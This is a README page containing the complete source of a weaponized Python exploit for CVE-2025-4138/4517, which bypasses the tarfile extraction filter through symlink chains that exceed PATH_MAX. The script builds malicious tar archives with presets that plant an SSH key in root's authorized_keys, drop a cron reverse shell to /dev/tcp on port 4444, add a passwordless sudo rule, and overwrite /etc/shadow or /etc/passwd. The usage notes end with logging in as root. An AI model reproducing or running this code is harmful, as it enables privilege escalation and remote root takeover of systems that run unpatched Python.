README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Symlink Filter Bypass
==============================================================================
Privilege escalation exploit for any system where a privileged process
running Python 3.12.0–3.12.10 / 3.13.0–3.13.3 calls
tarfile.extractall(path=..., filter="data")
on an attacker-controlled tar archive.
┌─────────────────────────────────────────────────────────────┐
│ Vulnerability: CVE-2025-4138 / CVE-2025-4517 │
│ Affected: Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 │
│ Fixed in: Python 3.12.11, 3.13.4 │
│ Credit: Caleb Brown (Google Security Research) │
│ Advisory: GHSA-hgqp-3mmf-7h8f │
└─────────────────────────────────────────────────────────────┘
Background
----------
Python's tarfile extraction filters ("data" / "tar") use os.path.realpath()
to validate that symlink targets stay within the extraction destination.
However, os.path.realpath() silently stops resolving path components once the
fully-expanded path exceeds PATH_MAX (4096 bytes on Linux, 1024 on macOS).
Unresolved components are appended *literally*, including "../" sequences.
By constructing a chain of directories + symlinks whose *short names* fit
within PATH_MAX but whose *resolved names* exceed it, an attacker can
create a symlink whose target passes the filter check but actually points
outside the extraction directory at extraction time.
Attack Chain
------------
1. Build 16 levels of dir(247 chars) + symlink(1 char → dir)
Resolved path grows to ~3968 bytes, nearly filling PATH_MAX.
2. Add a final symlink whose linkname uses the short-name chain + "../../.."
to traverse out. os.path.realpath() cannot expand it → passes filter.
3. Through that escaped symlink, write arbitrary files on the filesystem
(e.g. /root/.ssh/authorized_keys, /etc/cron.d/privesc, /etc/shadow).
Usage
-----
# Generate SSH key pair (if needed)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
# Run exploit on target
python3 exploit.py \\
--tar-out ./evil.tar \\
--target /root/.ssh/authorized_keys \\
--payload ~/.ssh/id_ed25519.pub \\
--mode 0600
# Trigger extraction via the vulnerable privileged application
sudo python3 vulnerable_app.py --extract evil.tar
# SSH in as root
ssh -i ~/.ssh/id_ed25519 root@target
For educational and authorized security testing purposes only.
"""
from __future__ import annotations
import argparse
import io
import os
import sys
import tarfile
import textwrap
# ── Constants ────────────────────────────────────────────────────────────────
BANNER = (
"\033[1;33m"
'██████╗ ███████╗███████╗███████╗██████╗ ████████╗ ██████╗ ███████╗███╗ ███╗ ██████╗ ███╗ ██╗███████╗\n'
'██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗╚══██╔══╝ ██╔══██╗██╔════╝████╗ ████║██╔═══██╗████╗ ██║██╔════╝\n'
'██║ ██║█████╗ ███████╗█████╗ ██████╔╝ ██║ ██║ ██║█████╗ ██╔████╔██║██║ ██║██╔██╗ ██║███████╗\n'
'██║ ██║██╔══╝ ╚════██║██╔══╝ ██╔══██╗ ██║ ██║ ██║██╔══╝ ██║╚██╔╝██║██║ ██║██║╚██╗██║╚════██║\n'
'██████╔╝███████╗███████║███████╗██║ ██║ ██║ ██████╔╝███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║███████║\n'
'╚═════╝ ╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝\n'
"\033[0m"
"\n"
"Exploit by""\033[1;31m DesertDemons""\033[0m"
"\n"
" ╔═══════════════════════════════════════════════════════════════╗\n"
" ║ CVE-2025-4138 / CVE-2025-4517 – tarfile filter bypass ║\n"
" ║ Python PATH_MAX symlink escape → arbitrary file write ║\n"
" ╚═══════════════════════════════════════════════════════════════╝\n"
"\n"
)
# PATH_MAX on Linux is 4096; on macOS it is 1024.
# We pick a directory component length that produces a resolved chain of
# ~3968 bytes (Linux) or ~896 bytes (macOS), leaving room for the final
# traversal payload.
IS_DARWIN = sys.platform == "darwin"
DIR_COMP_LEN = 55 if IS_DARWIN else 247
CHAIN_STEPS = "abcdefghijklmnop" # 16 levels ─ enough to exceed PATH_MAX
LONG_LINK_LEN = 254 # pad the final symlink name
# ── Helpers ──────────────────────────────────────────────────────────────────
def _check_python_version() -> None:
"""Warn if the *local* Python is already patched (tar is still built the
same way; the extraction side is what matters)."""
v = sys.version_info
patched = (
(v.major == 3 and v.minor == 12 and v.micro >= 11)
or (v.major == 3 and v.minor == 13 and v.micro >= 4)
or (v.major == 3 and v.minor >= 14)
)
if patched:
print("[!] Warning: local Python appears patched — the *target* must")
print(" be running an unpatched version for the exploit to work.")
print(f" Local version: {sys.version}")
print()
def _resolve_payload(path: str) -> bytes:
"""Read payload from file or treat as literal string."""
p = os.path.expanduser(path)
if os.path.isfile(p):
with open(p, "rb") as fh:
data = fh.read()
# Ensure trailing newline for authorized_keys, crontabs, etc.
if not data.endswith(b"\n"):
data += b"\n"
return data
# Treat argument as literal payload text
return path.encode() + b"\n"
# ── Core: build the malicious tar ────────────────────────────────────────────
def build_exploit_tar(
tar_path: str,
target_file: str,
payload: bytes,
file_mode: int = 0o644,
) -> None:
"""
Construct a tar archive that, when extracted with ``filter="data"``
on a vulnerable Python, writes *payload* to *target_file* outside the
extraction directory.
Parameters
----------
tar_path : str
Where to write the malicious tar archive.
target_file : str
Absolute path of the file to create/overwrite on the target
(e.g. ``/root/.ssh/authorized_keys``).
payload : bytes
Content to write into *target_file*.
file_mode : int
Unix permission bits for the written file (default 0o644).
"""
comp = "d" * DIR_COMP_LEN # long directory name component
inner_path = "" # accumulates the nested path
# Ensure the output directory exists
out_dir = os.path.dirname(os.path.abspath(tar_path))
os.makedirs(out_dir, exist_ok=True)
# Remove stale file if it exists (tarfile "w" can fail otherwise)
if os.path.exists(tar_path):
try:
os.remove(tar_path)
except OSError as e:
print(f"[!] Cannot remove existing {tar_path}: {e}", file=sys.stderr)
sys.exit(1)
try:
tar = tarfile.open(tar_path, "w")
except OSError as e:
print(f"[!] Cannot create tar at {tar_path}: {e}", file=sys.stderr)
print(f"[*] Tip: try writing to /tmp first, then copy to the target path.", file=sys.stderr)
sys.exit(1)
with tar:
# ── Stage 1: symlink chain that inflates the resolved path ────────
#
# For each step i ∈ {a, b, c, …, p}:
# • Create directory <inner_path>/<comp> (247 chars)
# • Create symlink <inner_path>/<i> → <comp>
#
# The *short* path through symlinks is a/b/c/d/…/p (31 chars)
# The *resolved* path is ddd…/ddd…/… (~3968 chars)
#
# os.path.realpath() tracks the resolved path; once it crosses
# PATH_MAX it stops expanding further components.
for step_char in CHAIN_STEPS:
# Directory entry
d = tarfile.TarInfo(name=os.path.join(inner_path, comp))
d.type = tarfile.DIRTYPE
tar.addfile(d)
# Symlink <step_char> → <comp>
s = tarfile.TarInfo(name=os.path.join(inner_path, step_char))
s.type = tarfile.SYMTYPE
s.linkname = comp
tar.addfile(s)
# Descend into the *actual* directory for the next level
inner_path = os.path.join(inner_path, comp)
# ── Stage 2: final symlink that escapes ──────────────────────────
#
# Build the short-name path: a/b/c/…/p/<pad>
# Its linkname is ../../../../../../../../../../../../../../..
# which walks back to the extraction root (16 levels of "..").
#
# Because the resolved prefix already exceeds PATH_MAX,
# os.path.realpath() never expands this linkname — the filter
# sees it as a relative path *inside* the extraction dir.
# At extraction time, the kernel follows the real symlinks and
# the ".." components land us at the filesystem root.
short_chain = "/".join(CHAIN_STEPS)
link_name = os.path.join(short_chain, "l" * LONG_LINK_LEN)
pivot = tarfile.TarInfo(name=link_name)
pivot.type = tarfile.SYMTYPE
pivot.linkname = "../" * len(CHAIN_STEPS) # back to extraction root
tar.addfile(pivot)
# ── Stage 3: "escape" symlink → target's parent ─────────────────
#
# We point the escape symlink at the GRANDPARENT of the target
# file so we can create any missing intermediate directories
# (e.g. /root/.ssh) inside the tar before writing the payload.
#
# escape → <link_name>/../../../../<target_grandparent>
#
# Since <link_name> resolves (via the kernel) to the extraction
# root, appending "../../../../<target_grandparent>" walks us to
# the absolute target's grandparent on the real filesystem.
target_dir = os.path.dirname(target_file) # e.g. /root/.ssh
target_basename = os.path.basename(target_file) # e.g. authorized_keys
# Split the target path to identify parent dirs we need to create.
# For /root/.ssh/authorized_keys:
# escape_root = /root (grandparent — likely exists)
# subdirs = [".ssh"] (directories to create)
# target_basename = authorized_keys
#
# For /etc/cron.d/pwned:
# escape_root = /etc/cron.d (parent — likely exists)
# subdirs = []
# target_basename = pwned
# Walk up from target_dir to find directories that likely exist,
# and collect intermediate dirs we need to create inside the tar.
# We create ALL intermediate dirs to be safe.
target_parts = target_dir.strip("/").split("/")
# Escape to filesystem root, then re-enter through the first component
# This ensures we can create any missing subdirectories
escape_root = "/" + target_parts[0] if target_parts else "/"
subdirs = target_parts[1:] if len(target_parts) > 1 else []
# Calculate how many "../" we need to go from the extraction root
# to filesystem root, then append the escape root.
# A safe over-count of "../" is fine (can't go above /).
depth = 8 # generous depth to reach /
escape_linkname = (
link_name + "/" + ("../" * depth) + escape_root.lstrip("/")
)
esc = tarfile.TarInfo(name="escape")
esc.type = tarfile.SYMTYPE
esc.linkname = escape_linkname
tar.addfile(esc)
# ── Stage 4: create intermediate directories ─────────────────────
#
# For targets like /root/.ssh/authorized_keys, the .ssh directory
# may not exist. We create each intermediate directory entry in
# the tar so extractall() builds the path.
dir_path = "escape"
for subdir in subdirs:
dir_path = f"{dir_path}/{subdir}"
dir_entry = tarfile.TarInfo(name=dir_path)
dir_entry.type = tarfile.DIRTYPE
dir_entry.mode = 0o700
dir_entry.uid = 0
dir_entry.gid = 0
tar.addfile(dir_entry)
print(f"[+] Creating directory: {'/'.join([''] + target_parts[:target_parts.index(subdir)+1])}/")
# ── Stage 5: write the payload through the escaped symlink ───────
payload_path = dir_path + "/" + target_basename
payload_entry = tarfile.TarInfo(name=payload_path)
payload_entry.type = tarfile.REGTYPE
payload_entry.size = len(payload)
payload_entry.mode = file_mode
payload_entry.uid = 0
payload_entry.gid = 0
tar.addfile(payload_entry, fileobj=io.BytesIO(payload))
print(f"[+] Exploit tar written to: {tar_path}")
print(f"[+] Target file: {target_file}")
print(f"[+] Payload size: {len(payload)} bytes")
print(f"[+] File mode: {oct(file_mode)}")
# ── Preset attack payloads ───────────────────────────────────────────────────
PRESETS: dict[str, dict] = {
"ssh-key": {
"description": "Write SSH public key to /root/.ssh/authorized_keys",
"target": "/root/.ssh/authorized_keys",
"mode": 0o600,
},
"cron": {
"description": "Drop a root cron reverse shell to /etc/cron.d/pwned",
"target": "/etc/cron.d/pwned",
"mode": 0o644,
},
"shadow": {
"description": "Overwrite /etc/shadow (dangerous!)",
"target": "/etc/shadow",
"mode": 0o640,
},
"sudoers": {
"description": "Add NOPASSWD sudo rule to /etc/sudoers.d/pwned",
"target": "/etc/sudoers.d/pwned",
"mode": 0o440,
},
"passwd": {
"description": "Overwrite /etc/passwd to add a root user",
"target": "/etc/passwd",
"mode": 0o644,
},
}
def generate_preset_payload(preset: str, extra: str = "") -> bytes:
"""Generate common attack payloads for well-known presets."""
if preset == "cron":
lhost = extra or "CHANGEME"
return (
f"* * * * * root /bin/bash -c "
f"'bash -i >& /dev/tcp/{lhost}/4444 0>&1'\n"
).encode()
if preset == "sudoers":
user = extra or "lowpriv_user"
return f"{user} ALL=(ALL) NOPASSWD: ALL\n".encode()
# For ssh-key, shadow, passwd the user must supply --payload
return b""
# ── CLI ──────────────────────────────────────────────────────────────────────
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(
prog="exploit.py",
description="CVE-2025-4138 / CVE-2025-4517: Python tarfile filter bypass via PATH_MAX",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent("""\
examples:
# Write an SSH key to root's authorized_keys
%(prog)s --preset ssh-key \\
--payload ~/.ssh/id_ed25519.pub \\
--tar-out ./evil.tar
# Drop a cron reverse shell
%(prog)s --preset cron --extra 10.10.14.5 \\
--tar-out /tmp/evil.tar
# Add passwordless sudo for current user
%(prog)s --preset sudoers --extra myuser \\
--tar-out /tmp/evil.tar
# Arbitrary target file
%(prog)s --target /etc/motd --payload "hacked" \\
--tar-out /tmp/evil.tar
"""),
)
p.add_argument(
"--tar-out", "-o",
required=True,
help="Path where the malicious tar archive will be written.",
)
target_grp = p.add_mutually_exclusive_group(required=True)
target_grp.add_argument(
"--preset", "-p",
choices=list(PRESETS.keys()),
help="Use a built-in attack preset.",
)
target_grp.add_argument(
"--target", "-t",
help="Absolute path of the file to write on the target system.",
)
p.add_argument(
"--payload", "-P",
help="File path or literal string to write. Required for --target and "
"ssh-key/shadow/passwd presets.",
)
p.add_argument(
"--extra", "-e",
default="",
help="Extra parameter for presets (e.g. LHOST for cron, username for sudoers).",
)
p.add_argument(
"--mode", "-m",
default=None,
help="Octal file mode for the written file (e.g. 0600). "
"Defaults to preset value or 0644.",
)
return p.parse_args()
def main() -> None:
print(BANNER)
args = parse_args()
_check_python_version()
# Resolve target and payload
if args.preset:
cfg = PRESETS[args.preset]
target_file = cfg["target"]
file_mode = cfg["mode"]
print(f"[*] Preset: {args.preset} — {cfg['description']}")
if args.payload:
payload = _resolve_payload(args.payload)
else:
payload = generate_preset_payload(args.preset, args.extra)
if not payload:
print(f"[!] Preset '{args.preset}' requires --payload. Aborting.", file=sys.stderr)
sys.exit(1)
else:
target_file = args.target
file_mode = 0o644
if not target_file.startswith("/"):
print("[!] --target must be an absolute path.", file=sys.stderr)
sys.exit(1)
if not args.payload:
print("[!] --payload is required with --target.", file=sys.stderr)
sys.exit(1)
payload = _resolve_payload(args.payload)
if args.mode is not None:
file_mode = int(args.mode, 8)
# Build the exploit tar
build_exploit_tar(
tar_path=args.tar_out,
target_file=target_file,
payload=payload,
file_mode=file_mode,
)
print()
print("[*] Next steps:")
print(f" 1. Trigger extraction of {os.path.basename(args.tar_out)}")
print(f" as a privileged user with vulnerable Python (3.12.0–3.12.10 / 3.13.0–3.13.3)")
print(f" 2. Verify that {target_file} was written.")
print()
print("[*] Done.")
if __name__ == "__main__":
main()